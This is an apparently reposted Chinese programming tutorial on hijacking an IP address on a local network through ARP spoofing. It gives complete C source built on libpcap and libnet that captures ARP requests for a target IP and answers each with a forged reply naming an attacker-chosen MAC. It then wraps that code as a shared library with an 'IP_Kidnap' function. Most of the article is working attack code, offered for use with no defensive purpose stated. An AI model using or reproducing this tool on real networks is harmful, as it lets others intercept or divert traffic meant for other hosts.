首页 > 学院 > 操作系统 > 正文

基于ARP的局域网IP劫持——C语言实现

2024-06-28 13:26:40
字体:
来源:转载
供稿:网友
基于ARP的局域网ip劫持——C语言实现

我站在 烈烈风中

恨不能 荡尽绵绵心痛

望苍天 四方云动

剑在手

问天下谁是英雄

——《霸王别姬》

阅读这篇文章之前,请确认已经熟悉ARP报文伪造的方法,可参考《ARP数据包伪造》。

请看下图,这是全篇文章的鸟瞰:

要想实现上图的工作流程,必须实现两个模块:

•自由的伪造ARP报文

•抓取并分析所有流经网卡的数据包

从上图中可以看出,我们可以通过BPF或者DLPI层实现数据包的抓取分析,而tcpdump的根基——libpcap库,正是对BPF层的二次封装实现的C库,我们将通过它来实现数据包的抓取分析。

关于libpcap的基础使用,请参考这篇文章《libpcap使用》。

下面给出一个简单的libpcap过滤抓包的程序:

 1 #include <pcap.h> 2 #include <time.h> 3 #include <stdlib.h> 4 #include <stdio.h> 5  6 unsigned char glTargetIP[4]={192,168,1,99}; 7 char * glBpfCmd=" arp and dst host 192.168.1.99 and ether broadcast "; 8 unsigned char glRetargetMac[6]={ 0x00,0x11,0x11,0x22,0x22,0xff }; 9 char * glNICStr="eth2";10 11 void getPacket(u_char * arg, const struct pcap_pkthdr * pkthdr, const u_char * packet)12 {13   int * id = (int *)arg;14   unsigned char * src_ip =glTargetIP;15   unsigned char * src_mac=glRetargetMac;16   unsigned char * dst_ip =packet+28;17   unsigned char * dst_mac=packet+22;18 19   PRintf("id: %d/n", ++(*id));20   printf("Packet length: %d/n", pkthdr->len);21   printf("Number of bytes: %d/n", pkthdr->caplen);22   printf("Recieved time: %s", ctime((const time_t *)&pkthdr->ts.tv_sec)); 23   24   int i;25   for(i=0; i<pkthdr->len; ++i)26   {27     printf(" %02x", packet[i]);28     if( (i + 1) % 16 == 0 )29     {30       printf("/n");31     }32   }33   34   printf("/n/n");35 }36 37 int main ()38 {39   char errBuf[PCAP_ERRBUF_SIZE], * devStr;40   struct bpf_program filter;41 42   /* get a device */43   devStr = pcap_lookupdev(errBuf);44   45   if(devStr)46   {47     printf("success: device: %s/n", devStr);48   }49   else50   {51     printf("error: %s/n", errBuf);52     exit(1);53   }54   55   /* open a device, wait until a packet arrives */56   pcap_t * device = pcap_open_live(glNICStr, 65535, 1, 0, errBuf);57   58   if(!device)59   {60     printf("error: pcap_open_live(): %s/n", errBuf);61     exit(1);62   }63   /* set filter */64   pcap_compile( device,&filter,glBpfCmd,1,0 );  65   pcap_setfilter(device ,&filter );66   /* wait loop forever */67   int id = 0;68   pcap_loop(device, -1, getPacket, (u_char*)&id);69   70   pcap_close(device);71 72   return 0;73 }
View Code
gcc name.c -lpcap -o name

结合ARP报文伪造模块,下面给出完整实现代码:

  1 #include <pcap.h>  2 #include <time.h>  3 #include <stdlib.h>  4 #include <stdio.h>  5   6 #include <stdio.h>  7 #include <stdlib.h>  8 #include <string.h>  9 #include <unistd.h> 10 #include <libnet.h> 11  12 #define MAC_ADDR_LEN 6 13 #define IP_ADDR_LEN 4 14  15  16 unsigned char glTargetIP[4]={192,168,1,99}; 17 char * glBpfCmd=" arp and dst host 192.168.1.99 and ether broadcast "; 18 unsigned char glRetargetMac[6]={ 0x00,0x11,0x11,0x22,0x22,0xff }; 19 char * glNICStr="eth2"; 20  21 int ForgeAndSendArp(char * dev,unsigned char * src_mac,unsigned char * dst_mac, 22     unsigned  char * src_ip,unsigned char *dst_ip,uint16_t arpOp,unsigned int sendTimes ) 23  { 24          static char padPtr[18]; 25          libnet_t *net_t = NULL;  26          char err_buf[LIBNET_ERRBUF_SIZE]; 27          libnet_ptag_t p_tag;  28          unsigned int i=0; 29   30          printf("the src_ip_str is ,uint32 src_ip is %d/n",src_ip); 31          printf("the dst_ip_str is ,uint32 dst_ip is %d/n",dst_ip); 32           33          net_t  = libnet_init(LIBNET_LINK_ADV, dev, err_buf);      34          if(net_t == NULL) 35          { 36                  printf("libnet_init error/n"); 37                  return 2; 38          } 39   40          p_tag = libnet_build_arp( 41                          ARPHRD_ETHER,//hardware type ethernet 42                          ETHERTYPE_IP,//protocol type 43                          MAC_ADDR_LEN,//mac length 44                          IP_ADDR_LEN,//protocol length 45                          arpOp,//op type 46                          (u_int8_t *)src_mac,//source mac addr 47                          (u_int8_t *)src_ip,//source ip addr 48                          (u_int8_t *)dst_mac,//dest mac addr 49                          (u_int8_t *)dst_ip,//dest ip  addr 50                          padPtr,//payload 51                          18,//payload length 52                          net_t,//libnet context 53                          0//0 stands to build a new one 54          ); 55           56          if(-1 == p_tag) 57          { 58                  printf("libnet_build_arp error/n"); 59                  libnet_destroy(net_t); 60                  return 3; 61          } 62   63          p_tag = libnet_build_ethernet(//create ethernet header 64                          (u_int8_t *)dst_mac,//dest mac addr 65                          (u_int8_t *)src_mac,//source mac addr 66                          ETHERTYPE_ARP,//protocol type 67                         padPtr,//payload 68                         0,//payload length 69                          net_t,//libnet context 70                          0//0 to build a new one 71          ); 72   73          if(-1 == p_tag) 74          { 75                  printf("libnet_build_ethernet error!/n"); 76                  libnet_destroy(net_t); 77                  return 4; 78          } 79           80          int res; 81          i=0; 82          for(;i<sendTimes;i++) 83            if(-1 == (res = libnet_write(net_t))) 84            { 85                  printf("libnet_write error!/n"); 86                  libnet_destroy(net_t); 87                  return 5; 88            } 89           90          libnet_destroy(net_t); 91          return 0; 92  FAIL:         93          libnet_destroy(net_t); 94                  return 6; 95  } 96 void getPacket(u_char * arg, const struct pcap_pkthdr * pkthdr, const u_char * packet) 97 { 98   int * id = (int *)arg; 99   unsigned char * src_ip =glTargetIP;100   unsigned char * src_mac=glRetargetMac;101   unsigned char * dst_ip =packet+28;102   unsigned char * dst_mac=packet+22;103   104   ForgeAndSendArp(glNICStr,src_mac,dst_mac,src_ip,dst_ip,ARPOP_REPLY,1); 105 106   printf("id: %d/n", ++(*id));107   printf("Packet length: %d/n", pkthdr->len);108   printf("Number of bytes: %d/n", pkthdr->caplen);109   printf("Recieved time: %s", ctime((const time_t *)&pkthdr->ts.tv_sec)); 110   111   int i;112   for(i=0; i<pkthdr->len; ++i)113   {114     printf(" %02x", packet[i]);115     if( (i + 1) % 16 == 0 )116     {117       printf("/n");118     }119   }120   121   printf("/n/n");122 }123 124 int main ()125 {126   char errBuf[PCAP_ERRBUF_SIZE], * devStr;127   struct bpf_program filter;128 129   /* get a device */130   devStr = pcap_lookupdev(errBuf);131   132   if(devStr)133   {134     printf("success: device: %s/n", devStr);135   }136   else137   {138     printf("error: %s/n", errBuf);139     exit(1);140   }141   142   /* open a device, wait until a packet arrives */143   pcap_t * device = pcap_open_live(glNICStr, 65535, 1, 0, errBuf);144   145   if(!device)146   {147     printf("error: pcap_open_live(): %s/n", errBuf);148     exit(1);149   }150   /* set filter */151   pcap_compile( device,&filter,glBpfCmd,1,0 );  152   pcap_setfilter(device ,&filter );153   /* wait loop forever */154   int id = 0;155   pcap_loop(device, -1, getPacket, (u_char*)&id);156   157   pcap_close(device);158 159   return 0;160 }
View Code

这个工具的验证结果已经在文章鸟瞰图中给出。

下面,我们将这段代码封装成为一个共享库,以供其他程序调用。

  1 //  # gcc name.c -lnet -lpcap -shared -fPIC -o name.so  2 #include <pcap.h>  3 #include <time.h>  4 #include <stdlib.h>  5 #include <stdio.h>  6   7 #include <stdio.h>  8 #include <stdlib.h>  9 #include <string.h> 10 #include <unistd.h> 11 #include <libnet.h> 12  13 #define MAC_ADDR_LEN 6 14 #define IP_ADDR_LEN 4 15  16  17 static unsigned char * glTargetIP; 18 static char * glBpfCmd; 19 static unsigned char * glRetargetMac; 20 static char * glListenNICStr; 21 static char * glSendNICStr; 22  23  24 int ForgeAndSendArp(char * dev,unsigned char * src_mac,unsigned char * dst_mac, 25     unsigned  char * src_ip,unsigned char *dst_ip,uint16_t arpOp,unsigned int sendTimes ) 26  { 27          static char padPtr[18]; 28          libnet_t *net_t = NULL;  29          char err_buf[LIBNET_ERRBUF_SIZE]; 30          libnet_ptag_t p_tag;  31          unsigned int i=0; 32   33          printf("the src_ip_str is ,uint32 src_ip is %d/n",src_ip); 34          printf("the dst_ip_str is ,uint32 dst_ip is %d/n",dst_ip); 35           36          net_t  = libnet_init(LIBNET_LINK_ADV, dev, err_buf);      37          if(net_t == NULL) 38          { 39                  printf("libnet_init error/n"); 40                  return 2; 41          } 42   43          p_tag = libnet_build_arp( 44                          ARPHRD_ETHER,//hardware type ethernet 45                          ETHERTYPE_IP,//protocol type 46                          MAC_ADDR_LEN,//mac length 47                          IP_ADDR_LEN,//protocol length 48                          arpOp,//op type 49                          (u_int8_t *)src_mac,//source mac addr 50                          (u_int8_t *)src_ip,//source ip addr 51                          (u_int8_t *)dst_mac,//dest mac addr 52                          (u_int8_t *)dst_ip,//dest ip  addr 53                          padPtr,//payload 54                          18,//payload length 55                          net_t,//libnet context 56                          0//0 stands to build a new one 57          ); 58           59          if(-1 == p_tag) 60          { 61                  printf("libnet_build_arp error/n"); 62                  libnet_destroy(net_t); 63                  return 3; 64          } 65   66          p_tag = libnet_build_ethernet(//create ethernet header 67                          (u_int8_t *)dst_mac,//dest mac addr 68                          (u_int8_t *)src_mac,//source mac addr 69                          ETHERTYPE_ARP,//protocol type 70                         padPtr,//payload 71                         0,//payload length 72                          net_t,//libnet context 73                          0//0 to build a new one 74          ); 75   76          if(-1 == p_tag) 77          { 78                  printf("libnet_build_ethernet error!/n"); 79                  libnet_destroy(net_t); 80                  return 4; 81          } 82           83          int res; 84          i=0; 85          for(;i<sendTimes;i++) 86            if(-1 == (res = libnet_write(net_t))) 87            { 88                  printf("libnet_write error!/n"); 89                  libnet_destroy(net_t); 90                  return 5; 91            } 92           93          libnet_destroy(net_t); 94          return 0; 95  FAIL:         96          libnet_destroy(net_t); 97                  return 6; 98  } 99 void static getPacket(u_char * arg, const struct pcap_pkthdr * pkthdr, const u_char * packet)100 {101   int * id = (int *)arg;102   unsigned char * src_ip =glTargetIP;103   unsigned char * src_mac=glRetargetMac;104   unsigned char * dst_ip =packet+28;105   unsigned char * dst_mac=packet+22;106   107   ForgeAndSendArp(glSendNICStr,src_mac,dst_mac,src_ip,dst_ip,ARPOP_REPLY,1); 108 109   printf("id: %d/n", ++(*id));110   printf("Packet length: %d/n", pkthdr->len);111   printf("Number of bytes: %d/n", pkthdr->caplen);112   printf("Recieved time: %s", ctime((const time_t *)&pkthdr->ts.tv_sec)); 113   114   int i;115   for(i=0; i<pkthdr->len; ++i)116   {117     printf(" %02x", packet[i]);118     if( (i + 1) % 16 == 0 )119     {120       printf("/n");121     }122   }123   124   printf("/n/n");125 }126 127 /* args example128 static unsigned char glTargetIP[4]={192,168,1,99};129 static char * glBpfCmd=" arp and dst host 192.168.1.99 and ether broadcast ";130 static unsigned char glRetargetMac[6]={ 0x00,0x11,0x11,0x22,0x22,0xff };131 static char * glListenNICStr="eth2";132 static char * glSendNICStr="eth2";133 */134 int IP_Kidnap ( unsigned char * TargetIP,char * BpfCmd,135           unsigned char * RetargetMac,char * sendNICStr ,char * listenNICStr  )136 {137   char errBuf[PCAP_ERRBUF_SIZE], * devStr;138   struct bpf_program filter;139   glTargetIP=TargetIP;140   glBpfCmd=BpfCmd;141   glRetargetMac=RetargetMac;142   glSendNICStr=sendNICStr;143   glListenNICStr=listenNICStr;144 145   /* get a device */146   devStr = pcap_lookupdev(errBuf);147   148   if(devStr)149   {150     printf("success: device: %s/n", devStr);151   }152   else153   {154     printf("error: %s/n", errBuf);155     exit(1);156   }157   158   /* open a device, wait until a packet arrives */159   pcap_t * device = pcap_open_live(glListenNICStr, 65535, 1, 0, errBuf);160   161   if(!device)162   {163     printf("error: pcap_open_live(): %s/n", errBuf);164     exit(1);165   }166   /* set filter */167   pcap_compile( device,&filter,glBpfCmd,1,0 );  168   pcap_setfilter(device ,&filter );169   /* wait loop forever */170   int id = 0;171   pcap_loop(device, -1, getPacket, (u_char*)&id);172   173   pcap_close(device);174 175   return 0;176 }

编译后的结果:

函数原型:

int ForgeAndSendArp(char * dev,unsigned char * src_mac,unsigned char * dst_mac,    unsigned  char * src_ip,unsigned char *dst_ip,uint16_t arpOp,unsigned int sendTimes )/*  dev : pointer to nic name, "eth0" for example.  src_mac : pointer to uchar array[6],like'unsigned char glRetargetMac[6]={ 0x00,0x11,0x11,0x22,0x22,0xff };'  dst_mac : similar as src_mac  src_ip : pointer to uchar array[4],like'unsigned char glTargetIP[4]={192,168,1,99};'  dst_ip : similar as src_ip  arpOp : ARPOP_REQUEST for 1,ARPOP_REPLY for 2,i.e.  sendTimes : how many times this packet you want to send*/
int IP_Kidnap ( unsigned char * TargetIP,char * BpfCmd,          unsigned char * RetargetMac ,char * listenNICStr ,char * sendNICStr  )/*TargetIP: the IP you want kidnap, like ' unsigned char TargetIP[4]={192,168,1,99}; 'BpfCmd : bpf filter cmd,like 'char * glBpfCmd=" arp and dst host 192.168.1.99 and ether broadcast ";'RetargetMac: which mac addr you want to retarget, like ' unsigned char glRetargetMac[6]={ 0x00,0x11,0x11,0x22,0x22,0xff };'ListenNICStr: which nic you want listen,like ' char * glListenNICStr="eth2";'SendNICStr : which nic you want the forged-packet send out,like ' char * glSendNICStr="eth2";'*/

附录:

参考文章 《libpcap使用》《ARP数据包伪造》


发表评论 共有条评论
用户名: 密码:
验证码: 匿名发表